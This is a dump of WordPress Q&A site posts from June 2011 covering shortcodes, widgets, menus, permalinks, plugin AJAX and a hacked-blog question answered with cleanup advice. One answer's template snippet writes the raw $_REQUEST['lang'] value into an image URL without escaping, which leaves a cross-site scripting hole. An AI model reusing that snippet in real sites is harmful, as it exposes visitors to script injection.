  <row Id="19312" PostTypeId="1" AcceptedAnswerId="19315" CreationDate="2011-06-06T10:09:59.727" Score="1" ViewCount="62" Body="&lt;p&gt;I found that my blog posts are inserted lot's of ad links, I'm using WordPress 2.9.2, is there a known security vulnerability in it?&lt;br&gt;&#xA;A screenshot : I post some codes on my blog, the ad links are inserted into them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/JWTQ8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I delete them by hand several days ago, and I found that they're back again!&lt;/p&gt;&#xA;" OwnerUserId="5957" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-06T12:25:47.107" LastActivityDate="2011-06-06T12:25:47.107" Title="Why was my blog post inserted lot's of ad links by others?" Tags="&lt;security&gt;&lt;hacks&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="19313" PostTypeId="1" AcceptedAnswerId="19321" CreationDate="2011-06-06T10:16:40.010" Score="1" ViewCount="76" Body="&lt;p&gt;Hi I created a template within my theme files, just for displaying a map in a lightbox. I need to call this template page from a normal wordpress post, how can I do it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say in my theme files I have a file called map-template.php&#xA;From within my post I would like to call that map-template.php file and also pass the ID of the current post as a parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5844" LastActivityDate="2011-06-06T19:34:42.507" Title="How to Call a static page in WordPress" Tags="&lt;static&gt;" AnswerCount="1" />
  <row Id="19314" PostTypeId="1" CreationDate="2011-06-06T10:18:01.587" Score="1" ViewCount="49" Body="&lt;p&gt;Shouldn't this remove the capability to delete a post? Even if I remove the delete_posts capability for an editor, he still can trash a post and then delete i permanently. That can't be right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you remove the capability to trash/delete a post?&lt;/p&gt;&#xA;" OwnerUserId="5347" LastEditorUserId="5347" LastEditorDisplayName="" LastEditDate="2011-06-06T11:31:04.087" LastActivityDate="2011-06-06T11:31:04.087" Title="The delete_posts capability?" Tags="&lt;roles&gt;&lt;capabilities&gt;" CommentCount="5" />
  <row Id="19315" PostTypeId="2" ParentId="19312" CreationDate="2011-06-06T11:05:57.747" Score="5" ViewCount="" Body="&lt;p&gt;Looks like you've been hacked. In all fairness, you're running a version that is &lt;a href=&quot;http://codex.wordpress.org/WordPress_Versions&quot; rel=&quot;nofollow&quot;&gt;over a year old&lt;/a&gt; - it's always best practice to upgrade as soon as you can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would advise reading through the &lt;a href=&quot;http://codex.wordpress.org/FAQ_My_site_was_hacked&quot; rel=&quot;nofollow&quot;&gt;FAQ on the codex&lt;/a&gt;. I also stumbled across this rather concise &lt;a href=&quot;http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/&quot; rel=&quot;nofollow&quot;&gt;step-by-step&lt;/a&gt;, though I would advise it's for the intermediate user (use of SQL and FTP is required).&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-06T11:05:57.747" CommentCount="2" />
  <row Id="19316" PostTypeId="1" AcceptedAnswerId="19496" CreationDate="2011-06-06T11:18:51.993" Score="1" ViewCount="63" Body="&lt;p&gt;I'm creating an author.php page and I'd like to show comments as well as posts from a custom post type. I already have the list of posts but I'm looking into an efficient way of displaying the most recent comments from that author as well. So far I haven't found anything except widget and bloated plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to do that particularly in one stream (posts/comments) but I can understand if this is too challenging :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Dennis&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-06-08T09:04:05.183" Title="Recent comments on author page?" Tags="&lt;custom-post-types&gt;&lt;comments&gt;&lt;author&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="19317" PostTypeId="2" ParentId="19300" CreationDate="2011-06-06T11:24:27.947" Score="1" ViewCount="" Body="&lt;p&gt;I edited the codex to be more clear, but it already IS clear: This option forces the value to be &quot;&lt;code&gt;-1&lt;/code&gt;&quot; so NONE can be selected. So '&lt;code&gt;show_option_none&lt;/code&gt;' and '&lt;code&gt;selected&lt;/code&gt;' don't play well together. I also saw that the &quot;selected&quot; string (/wp-includes/user.php - line 1010) is placed directly after the value attribute without a space. Could you check your sourcecode and verify this?&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-06T11:24:27.947" CommentCount="2" />
  <row Id="19318" PostTypeId="1" AcceptedAnswerId="19320" CreationDate="2011-06-06T11:47:42.547" Score="0" ViewCount="61" Body="&lt;p&gt;I have a wp_nav_menu showing pages, but I'd also like to include a log in/out link, based on the current state of the user, which will redirect them to the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked far and wide, but how can I implement this in a wp_nav_menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dennis&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-06-06T12:08:54.473" Title="wp_nav_menu log in/out link?" Tags="&lt;menus&gt;&lt;login&gt;&lt;logout&gt;" AnswerCount="1" />
  <row Id="19320" PostTypeId="2" ParentId="19318" CreationDate="2011-06-06T12:08:54.473" Score="2" ViewCount="" Body="&lt;p&gt;Use the &lt;code&gt;wp_nav_menu_items&lt;/code&gt; hook to add a filter which will allow you to add your login / logout link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;wp_loginout()&lt;/code&gt; to display a status aware login / logout link. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_loginout&quot; rel=&quot;nofollow&quot;&gt;Codex page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-06T12:08:54.473" />
  <row Id="19321" PostTypeId="2" ParentId="19313" CreationDate="2011-06-06T12:21:24.430" Score="1" ViewCount="" Body="&lt;p&gt;So long as you have a standard &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;page template header&lt;/a&gt; in your &lt;code&gt;map-template.php&lt;/code&gt;, you can use the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-template/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Template plugin&lt;/a&gt; (which essentially allows you use templates on posts in the same way you do with pages).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: Perhaps you might be better off using &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;shortcode&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This is my post content in the editor. And here is a map;&#xA;&#xA;[my-map]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in &lt;code&gt;functions.php&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __my_map_shortcode()&#xA;{&#xA;     // output map&#xA;}&#xA;add_shortcode( 'my-map', '__my_map_shortcode' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-06T19:34:42.507" LastActivityDate="2011-06-06T19:34:42.507" CommentCount="4" />
  <row Id="19323" PostTypeId="1" AcceptedAnswerId="19324" CreationDate="2011-06-06T12:45:37.970" Score="0" ViewCount="104" Body="&lt;p&gt;When I click on preview a post, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Catchable fatal error: Object of class WP_Error could not be converted to string in functions.php on line 288&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The line 288 is as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_category_parents($cat, TRUE, '' . $delimiter . '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on this please?&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-06-06T13:03:04.373" Title="What does this mean: Object of class WP_Error could not be converted to string" Tags="&lt;fatal-error&gt;" AnswerCount="1" />
  <row Id="19324" PostTypeId="2" ParentId="19323" CreationDate="2011-06-06T13:03:04.373" Score="1" ViewCount="" Body="&lt;p&gt;The only way that function returns an instance of &lt;code&gt;WP_Error&lt;/code&gt; is if &lt;code&gt;$cat&lt;/code&gt; (in your example) has an empty value. You need to check the return before doing anything with it. Replacing that line with this should fix the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo is_wp_error( $cat_parents = get_category_parents($cat, TRUE, '' . $delimiter . '') ) ? '' : $cat_parents;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-06-06T13:03:04.373" />
  <row Id="19325" PostTypeId="1" CreationDate="2011-06-06T13:04:57.367" Score="1" ViewCount="71" Body="&lt;p&gt;I have a multisite network, and my theme has a custom &lt;code&gt;404.php&lt;/code&gt;. On all the child sites this 404 handler is being correctly used, but on the primary site all 404s go back to the home page without touching my &lt;code&gt;404.php&lt;/code&gt; at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for once, this isn't the fault of the Redirection plugin! The problem is still there when Redirection is turned off (network-wide &lt;em&gt;and&lt;/em&gt; on the specific site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem isn't occurring on my local copy of the same site, but I can't find any difference in the configuration or plugins that could be causing it.&lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2011-08-11T20:22:27.280" Title="404 redirecting to home" Tags="&lt;multisite&gt;&lt;redirect&gt;&lt;404-error&gt;" AnswerCount="1" />
  <row Id="19326" PostTypeId="1" AcceptedAnswerId="19327" CreationDate="2011-06-06T13:17:53.157" Score="0" ViewCount="28" Body="&lt;p&gt;I was wondering if there was a way to unregister a widget that gets declared in the functions.php file of a parent theme from a child theme, I understand that the child's function.php file gets loaded first so I don't know how to unregister it when it hasn't been created yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all in advance!&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-06-06T13:20:21.483" Title="How to unregister a widget from a child theme" Tags="&lt;plugins&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="19327" PostTypeId="2" ParentId="19326" CreationDate="2011-06-06T13:20:21.483" Score="1" ViewCount="" Body="&lt;p&gt;Assuming the Parent Theme's Widget is registered at the &lt;code&gt;widgets_init&lt;/code&gt; hook, all you need to do is wrap your &lt;code&gt;unregister_widget()&lt;/code&gt; call inside of a function, hook that function into &lt;code&gt;widgets_init&lt;/code&gt;, and give your hook a higher &lt;strong&gt;priority number&lt;/strong&gt; than the Parent Theme's &lt;code&gt;widgets_init&lt;/code&gt;-hooked function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the Parent Theme hooks into &lt;code&gt;widgets_init&lt;/code&gt; without giving a priority number, the function will default to &lt;code&gt;10&lt;/code&gt;. So, just give your hook call a priority of &lt;code&gt;11&lt;/code&gt; or greater.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-06T13:20:21.483" CommentCount="1" />
  <row Id="19328" PostTypeId="2" ParentId="19209" CreationDate="2011-06-06T13:33:00.517" Score="0" ViewCount="" Body="&lt;p&gt;This link &lt;a href=&quot;http://codex.wordpress.org/Linking_Posts_Pages_and_Categories&quot; rel=&quot;nofollow&quot;&gt;Wordpress Codex: Linking...&lt;/a&gt; provides detailed information on how to link different types of content. One nice feature that solves the above problem is to use a link of the form &lt;code&gt;/wordpress/archives.php&lt;/code&gt;. This will transfer nicely (in most cases) to any particular server deployment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, looking in &lt;code&gt;wp-includes/link-template.php&lt;/code&gt; gives you more insight to what kinds of tools are already available for creating links. Particularly helpful is &lt;code&gt;home_url()&lt;/code&gt; which allows you to try to be as server agnostic as possible.&lt;/p&gt;&#xA;" OwnerUserId="5909" LastEditorUserId="5909" LastEditorDisplayName="" LastEditDate="2011-06-16T21:54:12.070" LastActivityDate="2011-06-16T21:54:12.070" />
  <row Id="19329" PostTypeId="1" CreationDate="2011-06-06T13:52:21.517" Score="0" ViewCount="22" Body="&lt;p&gt;A custom wordress theme is breaking the plugin I've written. How would I cancel out this code before the loop in the theme from a plugin. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_query = new WP_Query('posts_per_page='.get_theme_mod('home_postnum').'&amp;amp;paged=' . $paged);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding this code in the template works but I have no idea how to apply it from a plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( $query_string . '' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5937" LastActivityDate="2011-06-06T13:52:21.517" Title="How to reset a template query from a plugin?" Tags="&lt;template&gt;&lt;query&gt;" />
  <row Id="19330" PostTypeId="2" ParentId="19130" CreationDate="2011-06-06T14:52:25.973" Score="0" ViewCount="" Body="&lt;p&gt;I'm now using the &lt;a href=&quot;http://wordpress.org/extend/plugins/page-links-to/&quot; rel=&quot;nofollow&quot;&gt;Page Links To&lt;/a&gt; plugin to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/N5D3J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5415" LastActivityDate="2011-06-06T14:52:25.973" />
  <row Id="19331" PostTypeId="1" AcceptedAnswerId="19334" CreationDate="2011-06-06T14:52:29.487" Score="0" ViewCount="70" Body="&lt;p&gt;I am currently having some CSS problems with Google Chrome. Slider is overlapping with the buttons on the right side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My theme layout (CSS) works fine with Firefox, and IE but not in google chrome.  Something to do with margins and alignments I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the link: &lt;a href=&quot;http://tigerdm.com.au/&quot; rel=&quot;nofollow&quot;&gt;http://tigerdm.com.au/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4474" LastEditorUserId="4474" LastEditorDisplayName="" LastEditDate="2011-06-06T15:02:41.033" LastActivityDate="2011-06-06T15:02:41.033" ClosedDate="2011-06-06T15:34:28.607" Title="Google Chrome CSS issues" Tags="&lt;css&gt;" AnswerCount="1" />
  <row Id="19333" PostTypeId="2" ParentId="19268" CreationDate="2011-06-06T14:59:16.243" Score="0" ViewCount="" Body="&lt;p&gt;I have looking for a similar plugin like the one you're looking for. Maybe this list will help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://chasesagum.com/8-cool-wordpress-photo-gallery-plugins&quot; rel=&quot;nofollow&quot;&gt;http://chasesagum.com/8-cool-wordpress-photo-gallery-plugins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also this one: &lt;a href=&quot;http://wordpress.org/extend/plugins/yet-another-photoblog/screenshots/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/yet-another-photoblog/screenshots/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4474" LastActivityDate="2011-06-06T14:59:16.243" />
  <row Id="19334" PostTypeId="2" ParentId="19331" CreationDate="2011-06-06T15:02:35.507" Score="1" ViewCount="" Body="&lt;p&gt;Not a WordPress question, but if you remove the width from #slideshow-wrapper on line 4 of gallery-slider.css it sort of fixes rendering.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-06T15:02:35.507" CommentCount="1" />
  <row Id="19335" PostTypeId="1" CreationDate="2011-06-06T15:20:58.800" Score="0" ViewCount="34" Body="&lt;p&gt;Just wondering if its possible to redirect existing posts which are permalinks of just %post_name% to %post_name%-%postid% ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin which can pick this up? Dont want to lose rankings on the content so would want it handled with legitimate 301 redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any advice if someone has had to deal with this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks :)&lt;/p&gt;&#xA;" OwnerUserId="5962" LastActivityDate="2011-09-05T19:43:13.700" Title="301 Redirecting posts without %postid% (just %post_name%) in permalink to ones with %post_name%_%postid%" Tags="&lt;posts&gt;&lt;permalinks&gt;&lt;http-301&gt;" AnswerCount="2" />
  <row Id="19336" PostTypeId="1" AcceptedAnswerId="19380" CreationDate="2011-06-06T15:23:30.610" Score="0" ViewCount="92" Body="&lt;p&gt;I'd like to make a query that returns the children pages of various parent pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the &lt;code&gt;post_parent&lt;/code&gt; attribute of &lt;code&gt;WP_Query&lt;/code&gt; accepts only one value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you suggest ?&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-07T05:17:59.240" LastActivityDate="2011-06-07T05:17:59.240" Title="How to make a query returning pages from multiple parents" Tags="&lt;wp-query&gt;&lt;multiple&gt;&lt;children&gt;" AnswerCount="1" />
  <row Id="19337" PostTypeId="2" ParentId="19335" CreationDate="2011-06-06T15:25:52.897" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/advanced-permalinks/&quot; rel=&quot;nofollow&quot;&gt;Advanced Permalinks&lt;/a&gt; plugin do exactly what you are trying to do.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-06T15:25:52.897" />
  <row Id="19338" PostTypeId="2" ParentId="19335" CreationDate="2011-06-06T15:26:02.400" Score="0" ViewCount="" Body="&lt;p&gt;Have a look at the &lt;a href=&quot;http://urbangiraffe.com/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;Redirection&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-06T15:26:02.400" />
  <row Id="19339" PostTypeId="1" CreationDate="2011-06-06T15:32:24.957" Score="1" ViewCount="57" Body="&lt;p&gt;I'm developing a plugin and I'm trying to get the url's from a post's attachments with ajax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the user is on a single.php page. After some seconds, I'm sending an Ajax request, getting all the attachments-url from that single post. The script is a php file located in my plugin folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found out that normal functions like get_children and get_posts are not working in this script. My php log shows: Call to undefined function get_children() in /Users/tss/WWW/plugin_devel/wp-content/plugins/bggallery/ajax_nextimage.php on line 7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm unable to get attachments from the post the user is viewing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions&lt;/p&gt;&#xA;" OwnerUserId="5960" LastActivityDate="2011-07-06T16:22:37.270" Title="get post attachment using ajax" Tags="&lt;plugin-development&gt;&lt;posts&gt;&lt;attachments&gt;&lt;ajax&gt;&lt;get-posts&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="19341" PostTypeId="2" ParentId="19339" CreationDate="2011-06-06T15:43:16.977" Score="1" ViewCount="" Body="&lt;p&gt;Read &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9231/whats-the-preferred-method-of-writing-ajax-enabled-plugins/9236#9236&quot;&gt;this response&lt;/a&gt; on how to properly use AJAX in plugins. If you just call a PHP script directly, WordPress is not loaded so no WP functions are available.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-06T15:43:16.977" />
  <row Id="19342" PostTypeId="1" CreationDate="2011-06-06T15:55:27.990" Score="0" ViewCount="23" Body="&lt;p&gt;I have a form that allows users to submit person names that will be stored to the database.  To help protect against a database riddled with misspelled duplicates (Steve Stevenson, Stev Steverson, etc.), I would like cut down on user typing.  Thinking the best way is to implement something exactly like entering tags when submitting a question on wordpress.stackexchange.  For those of you unfamiliar, you start typing a tag text and you are presented with a dropdown of similar words, ala Google instant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone recommend a good plugin or a solid bit of code for this?&#xA;Many Thanks&lt;/p&gt;&#xA;" OwnerUserId="5763" LastActivityDate="2011-06-06T15:55:27.990" Title="How to replicate wordpress.stackexchange.com tags entry?" Tags="&lt;tags&gt;" CommentCount="2" />
  <row Id="19344" PostTypeId="1" AcceptedAnswerId="19346" CreationDate="2011-06-06T16:54:15.187" Score="2" ViewCount="59" Body="&lt;p&gt;My question is how many custom fields or even taxonomies wordpress can handle without affecting performance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I ask, is because I started building a custom theme and I might need to have around 10 to 20 custom fields, and thinking if this will affect the speed of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that speed also depends on server/hosting and number of visits, cache techniques, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also expect that a post with one custom field will be faster then one post with ten custom fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But let's say a site that haves around 10 000 visits a day with a post with one custom field will the speed diference be much more different from a site with the same 10 000 visits a day with a post with 10 custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just trying to figure it out how much of a diference a custom field can make.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also in terms of custom searching using wp_query and custom fields parameters will the speed be affected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3540" LastActivityDate="2011-06-06T17:29:26.190" Title="Custom Fields and performance" Tags="&lt;custom-taxonomy&gt;&lt;custom-field&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="19345" PostTypeId="1" AcceptedAnswerId="19347" CreationDate="2011-06-06T17:16:16.423" Score="0" ViewCount="42" Body="&lt;p&gt;Currently I'm using this shortcode within a post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/K7WC2Lk3&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/K7WC2Lk3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which works great, but somehow I can't add any text in front of this shortcode, without posting it the other way around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some dummy text&#xA;[etalage]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;will always be shown as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[etalage]&#xA;some dummy text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read to gather the value into a variable and return it, but I have to admit, I'm not entirely sure how to accomplish this best&lt;/p&gt;&#xA;" OwnerUserId="5424" LastActivityDate="2011-06-06T20:10:50.277" Title="Can't add text in front of shortcode" Tags="&lt;custom-post-types&gt;&lt;slideshow&gt;" AnswerCount="1" />
  <row Id="19346" PostTypeId="2" ParentId="19344" CreationDate="2011-06-06T17:29:26.190" Score="1" ViewCount="" Body="&lt;p&gt;In the case of custom fields- if you fetch them in a single query to the database, fetching one or ten is not going to differ much, it's the same relatively simple query in both instances. If you were to do a lot of complex meta queries on those fields you'd definitely see a performance hit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think same for taxonomy, if you're doing complex taxonomy queries, that's a big hit. Simple queries to fetch terms are relatively cheap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching will certainly tax the server more if you've got ten times as much data, text searches are pretty expensive.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-06T17:29:26.190" CommentCount="2" />
  <row Id="19347" PostTypeId="2" ParentId="19345" CreationDate="2011-06-06T17:34:18.960" Score="3" ViewCount="" Body="&lt;p&gt;Here's your updated shortcode function which puts output in a variable and returns it. Note that you have to use functions that return data rather than output directly, in this case &lt;code&gt;get_the_post_thumbnail()&lt;/code&gt; is used in place of &lt;code&gt;the_post_thumbnail()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cor_etalage_add_shortcode() {&#xA;    $output = '&amp;lt;div id=&quot;etalage&quot;&amp;gt;&amp;lt;ul&amp;gt;';&#xA;&#xA;    $the_query = new WP_Query(array(&#xA;        'post_type' =&amp;gt; array(&#xA;            'portfolio'&#xA;        )&#xA;    ));&#xA;&#xA;    while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post();&#xA;        $output .= '&amp;lt;li&amp;gt;'. get_the_post_thumbnail($post-&amp;gt;ID,'etalage') .'&amp;lt;/li&amp;gt;';&#xA;    endwhile;&#xA;    wp_reset_postdata();&#xA;    $output .= '&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&#xA;    return $output;&#xA;}&#xA;add_shortcode('etalage', 'cor_etalage_add_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; oops, forgot to pass the post ID with &lt;code&gt;get_the_post_thumbnail&lt;/code&gt;, updated.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-06-06T20:10:50.277" LastActivityDate="2011-06-06T20:10:50.277" CommentCount="2" />
  <row Id="19348" PostTypeId="1" AcceptedAnswerId="19357" CreationDate="2011-06-06T17:43:29.293" Score="0" ViewCount="78" Body="&lt;p&gt;Can someone help me disable the &lt;code&gt;Install Themes&lt;/code&gt; link from the WordPress back-end?&lt;/p&gt;&#xA;" OwnerUserId="3491" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-07T07:30:09.163" LastActivityDate="2011-06-07T07:30:09.163" Title="Wordpress disable 'Install Themes' tab" Tags="&lt;wp-admin&gt;" AnswerCount="1" />
  <row Id="19349" PostTypeId="1" AcceptedAnswerId="19407" CreationDate="2011-06-06T18:15:17.783" Score="0" ViewCount="151" Body="&lt;p&gt;Just wondering if there is a way to remove WordPress's default function of adding a  tag around an inserted image. I assume its a &quot;remove_filter&quot; function like you can do for WPAutoP, but all my searches only turned up links for gallery plugins, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Pete&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2011-08-03T05:08:59.433" Title="Default Image Link Removal" Tags="&lt;images&gt;&lt;link&gt;&lt;remove-filter&gt;" AnswerCount="3" />
  <row Id="19350" PostTypeId="1" AcceptedAnswerId="20939" CreationDate="2011-06-06T18:22:56.980" Score="1" ViewCount="77" Body="&lt;p&gt;I'm trying to unregister a post type from a child theme but I haven't been able to do so, the code in the funcions.php file on the parent theme is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'mc_projects' );&#xA;function mc_projects() {&#xA;    register_post_type( 'project', array(&#xA;        // Default options....&#xA;    ) );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I tried to do in my child theme was to remove the mc_project action from the init hook like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action('init', 'mc_projects', 11);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it didn't work, even when I set the priority to some higher value, am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all in advance!&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-06-24T12:56:27.313" Title="Unregister post type form child theme" Tags="&lt;custom-post-types&gt;&lt;hooks&gt;&lt;actions&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="19351" PostTypeId="2" ParentId="17462" CreationDate="2011-06-06T18:25:52.313" Score="0" ViewCount="" Body="&lt;p&gt;I used second approach (I'm posting what I did as it may be helpful to someone):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;img src=&quot;&amp;lt;?= &#xA;       isset($_REQUEST['lang']) ? &#xA;          (str_replace('.jpg', '_' . $_REQUEST['lang'] . '.jpg', get_header_image())) &#xA;          : get_header_image() &#xA;     ?&amp;gt;&quot; width=&quot;&amp;lt;?php echo HEADER_IMAGE_WIDTH; ?&amp;gt;&quot; height=&quot;&amp;lt;?php echo HEADER_IMAGE_HEIGHT; ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5417" LastActivityDate="2011-06-06T18:25:52.313" CommentCount="1" />
  <row Id="19352" PostTypeId="2" ParentId="17415" CreationDate="2011-06-06T18:28:50.937" Score="0" ViewCount="" Body="&lt;p&gt;Switching to a new navigation plugin solved this problem!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://wordpress.org/extend/plugins/wp-paginate/&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5278" LastActivityDate="2011-06-06T18:28:50.937" />
